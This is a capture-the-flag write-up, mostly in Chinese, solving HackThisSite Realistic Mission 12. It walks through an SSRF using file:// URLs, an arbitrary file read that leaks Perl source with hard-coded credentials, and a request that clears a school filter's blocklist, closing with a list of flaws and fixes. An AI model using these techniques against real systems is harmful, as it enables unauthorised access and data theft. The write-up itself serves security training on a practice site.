HackThisSite - Realistic Mission 12

Challenge

Schools are supposed to prepare students for the outside world, but how can they do this if students are kept from everything by overly-protective administrators? Clear the blocked site list and help fight censorship in public schools.

学校本该让学生接触外面的世界,但过度保护的网管把一切都挡在外面。目标是清空被封锁的站点列表(blocked.txt)。

入口 /missions/realistic/12/ 是一个 meta refresh,跳到 cgi-bin/internet.pl —— 一个模拟的"浏览器",把地址栏内容塞进 iframe。

Solution

Recon:

  • internet.pl 把整个 QUERY_STRING 先 unescape 再 escape,拼成 <iframe src="page.pl?$url">,所以 page.pl 收到的 query string 就是"要访问的 URL"本身,没有独立参数名。
  • page.pl 在服务端用 LWP 抓取该 URL 并回显响应 —— 这是个 SSRF 代理;抓取前逐行读 blocked.txt,用正则 /$line/i 匹配 URL,命中就返回 Blocked 页。
  • LWP 支持 file://,于是 page.pl?file:///C:/ 直接返回 C 盘目录列表。目录返回列表,单个文件返回 Location: <url> 文本。

Step 1: 从模拟浏览器里反推协议

两个 CGI 的源码通过 guest.pl 读到(见 Step 3)。internet.pl 的关键逻辑:

1
2
3
4
my $url = $ENV{'QUERY_STRING'};
$url = uri_unescape($url);
$url = uri_escape($url);
print "...<iframe src=\"page.pl?$url\" width=100% height=90%>This browser doesn\'t support IFRAMES.</iframe>...";

page.pl 的关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
my $url = $ENV{QUERY_STRING};
$url = uri_unescape($url);
$url =~ s/^url=//i;
if (length($url) == 0 || $url eq "http://" || $url eq "/")
{
$url = "../main.html";
}
my $line;
open(blocked, "<blocked.txt") or print "Content-Type: text/plain\r\n\r\nFailed to load blocked.txt" and exit;
while ($line = <blocked>)
{
chomp($line);
if ($url =~ /$line/i)
{
print "Content-Type: text/html\r\n\r\n<html><head><title>Blocked</title></head>..." and exit;
}
}
close(blocked);

my $browser = LWP::UserAgent->new(agent => "Bardus Browser v1.0");
my $request = HTTP::Request->new('GET', $url);
my $response = $browser->request($request);
print "Content-Type: ".$response->content_type."\r\n\r\n".$response->content;

黑名单检查只存在于 page.pl,而且只是对 URL 做不区分大小写的正则匹配;$url 未经任何协议白名单限制,直接交给 LWP。用 file:// 协议即可让服务器自己读自己的文件系统:

1
2
3
4
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/"
<html><head><title>Index of file://c:/</title></head><body><h1>Index of file:///c:/</h1><hr/><table>...
AUTOEXEC.BAT ... COMMAND.COM ... CONFIG.SYS ... Program Files ... WINDOWS ... WEB ...

Step 2: 目录枚举,摸清黑名单

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/"
Index of file:///c:/web : HTML/ Perl/ cgi-bin/ HTTP.EXE

$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/cgi-bin/"
<html><head><title>Blocked</title></head><body ...>This Page is Blocked ... Heartland Technology Department

cgi-binPerl 两个目录名命中黑名单里的 cgiperl 关键字。但站点真实根目录就是 C:/WEB/HTML,直接走 HTTP 请求(完全不经 page.pl)不受黑名单约束:

1
2
3
4
5
6
7
8
9
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html"
<html><head><title>Heartland School District - Administrator Panel</title></head>
<body bgcolor="#204090" text="#cccccc" background="back.gif" link="#204090" alink="#204090" vlink="#204090">
<form action="cgi-bin/heartlandadminpanel.pl" method=get>
username: <input type="text" value="" name="username"><br>
password: <input type="password" value="" name="password"><br>
<input type="submit" value="submit">
</form></body></html>

Step 3: guest.pl 任意文件读,拿到源码

guest.plread / write 两个 action。writeguestbook.txt 追加(这个留言板本身就是个漏洞),read 直接 open("<$file"),只过滤 .. 和首字符 /,也就是可以读 cgi-bin 同目录下的任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ($arg =~ /^file=/)
{
$file = $arg;
$file =~ s/^file=//g;
if ($file =~ /\.\./ | $file =~ /^\//)
{
print "Access denied." and exit;
}
$file = uri_unescape($file);
$file =~ s/<|>|\||\&|;//g;
}
# (text= 分支只是把留言文本转义后写入 guestbook.txt,与本题无关)
if ($action eq "read")
{
open(file, "<$file") or print "File not found." and exit;
while ($line = <file>)
{
print $line;
}
close(file);
}

黑名单只挡 page.pl 的浏览,不管 guest.pl 的文件读,所以管理员脚本源码直接暴露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl"
#!perl
use strict;
print "Content-type: text/html\r\n\r\n";
require "db.cgi";
my $line;

if ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator&blocked=/)
{
clearlist();
}
elsif ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator/)
{
print "<html><head><title>Heartland School District Network Administrator</title></head>
<body bgcolor=\"#204090\" ...>
<div align=\"center\">
<form action=\"heartlandadminpanel.pl\" method=get>
<input type=\"hidden\" name=\"username\" value=\"jbardus\">
<input type=\"hidden\" name=\"password\" value=\"heartlandnetworkadministrator\">
<input type=\"hidden\" name=\"blocked\" value=\"\">
<select multiple name=\"blocked\" size=15 style=\"width:400px;\">";
open(file, "blocked.txt") or print "Failed to load blocked.txt";
while ($line = <file>)
{
chomp($line);
print "<option>$line</option>\n";
}
close(file);
print "</select><br><br>
<input type=\"button\" value=\"add site\">
<input type=\"button\" value=\"edit\">
<input type=\"button\" value=\"delete\">
<input type=\"submit\" value=\"clear all\">
</form></div></body></html>";
}
else
{
print "Invalid Username / Password";
}

源码把整条通关路径写死了:硬编码凭据 + 前缀匹配决定行为。

  • QUERY_STRINGusername=jbardus&password=heartlandnetworkadministrator&blocked= 开头 → 调用 clearlist()(真正的通关动作);
  • 只以 username=...&password=... 开头 → 渲染面板,把 blocked.txt 逐行读进 <option>
  • 其它 → Invalid Username / Password

注意这是前缀匹配^,无结尾锚点),所以 blocked= 后面跟任意值都会触发清空。

Step 4: 登录面板确认黑名单内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator"
<select multiple name="blocked" size=15 style="width:400px;"><option>perl</option>
<option>cgi</option>
<option>game</option>
<option>bonus</option>
<option>\\.exe</option>
<option>zip</option>
<option>php</option>
<option>sex</option>
<option>bitch</option>
<option>shit</option>
<option>monkey</option>
<option>mofo</option>
<option>mess</option>
<option>sucks</option>
<option>mail</option>
<option>fuck</option>
<option>damn</option>
<option>hell</option>
<option>crap</option>
<option>poo</option>
<option>new</option>
<option>search</option>
<option>txt</option>
<option>text</option>
<option>onion</option>
<option>slashdot</option>
<option>porn</option>
<option>pron</option>
<option>p0rn</option>
<option>pr0n</option>
<option>drug</option>
<option>hack</option>
<option>mad</option>
<option>best</option>
<option>goo</option>
<option>alta</option>
<option>asta</option>
<option>google</option>
<option>yahoo</option>
<option>msn</option>
<option>apple</option>
<option>mac</option>
<option>linux</option>
<option>mozilla</option>
<option>war</option>
<option>ground</option>
<option>open</option>
<option>source</option>
<option>info</option>
<option>party</option>
<option>erowid</option>
<option>forum</option>
<option>aclu</option>
<option>totse</option>
<option>dem</option>
<option>kaz</option>
<option>ftp</option>
<option>anar</option>
<option>ip</option>
<option>dns</option>
<option>\\.biz</option>
<option>\\.co\\.uk</option>
<option>\\.fr</option>
<option>geo</option>
<option>tri</option>
<option>1</option>
<option>2</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
<option>8</option>
<option>9</option>
<option>10</option>

共 75 条。这条黑名单不是精确匹配,而是不区分大小写的正则,而且最后一组是裸数字 —— 任何含数字的 URL 都会被拦。对照实验:file:///C:/WINDOWS/Bubbles.bmp(无数字、无关键词)正常返回 Location:,而 file:///C:/WINDOWS/CMD640X.SYS(含 640)直接命中 Blocked。同理 hack 条目把 HTS 自己的域名也一起封了:page.pl?http://www.hackthissite.org/missions/realistic/ 同样是 Blocked。黑名单封得过宽,连正常路径都一起封,所以 page.pl 这条路基本走不通,只能走 guest.pl 和直连 HTTP。

面板表单里的 <input type="hidden" name="blocked" value=""> 就是"clear all"提交时要带上的空值字段。

Step 5: 清空黑名单并验证

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator&blocked="
<iframe src="mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator" style="width:80%; height:40%; border:0px #ffffff solid;"></iframe>

clearlist() 不回显成功文案,而是吐出指向 mission-accomplished.php 的 iframe。跟进这个 completion 页面:

1
2
3
$ curl -s -L -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator"
<center><div style="width:80%"><div class="dark-td"><h2>Congratulations</h2></div><div class="light-td">Good Job, ***, You have successfully completed Mission 12<br /></div></div></center>

服务端确认后重新拉 profile:Realistic 列表出现 (12),积分 1976 → 2186(+210),任务列表该条目变为 "You have already completed this level!"。

关键陷阱:

  • page.pl?file:///C:/WEB/cgi-bin/ 被黑名单挡住(cgi 在表里),但换成 CGI-BINcgi-bin/.cgi-bin%2f 全部仍然被拦 —— 黑名单是不区分大小写的正则,编码绕过无效。真正的绕过是不走 page.pl:直接 HTTP 请求站点根目录下的静态文件,没有任何组件再过黑名单。
  • page.pl 对目录回显列表、对文件回显 Location: <url> 文本,不是文件内容。读文件要用 guest.pl?action=read,或者直接 HTTP 猜路径(C:/WEB/HTML/x ↔︎ /missions/realistic/12/x)。
  • blocked.txt 本身用 guest.pl?action=read&file=blocked.txt 读不到(File not found.),只能通过管理员面板的 <option> 渲染出来。

Vulnerabilities

  • SSRF / 本地文件读取page.pl 把用户输入当作完整 URL 交给 LWP,没有任何协议或主机白名单,file:// 让服务器替攻击者读自己的文件系统。
  • 任意文件读(源码泄露)guest.pl?action=read 只拦 .. 和开头 /,同目录下所有 CGI 源码(含硬编码凭据)可读。
  • 黑名单是错误的安全边界:过滤词表(cgiperlphpzip…)以正则匹配 URL,只在一个组件里生效,且不影响静态文件直连;过滤词表本身还泄露在管理员页面里。
  • 硬编码凭据 + 前缀正则判定权限username=jbardus&password=... 直接写在源码和隐藏字段里,权限判定用无结尾锚点的 ^ 前缀匹配,多余参数不影响判定。

修复方向:URL 只允许明确的 http(s) 白名单主机并由服务端重新解析;文件读取用固定的资源 id 映射而不是拼路径;凭据放服务端配置并哈希存储,权限用会话而不是请求参数;过滤/权限逻辑必须在所有入口统一执行,不能只挂在某一个 CGI 上。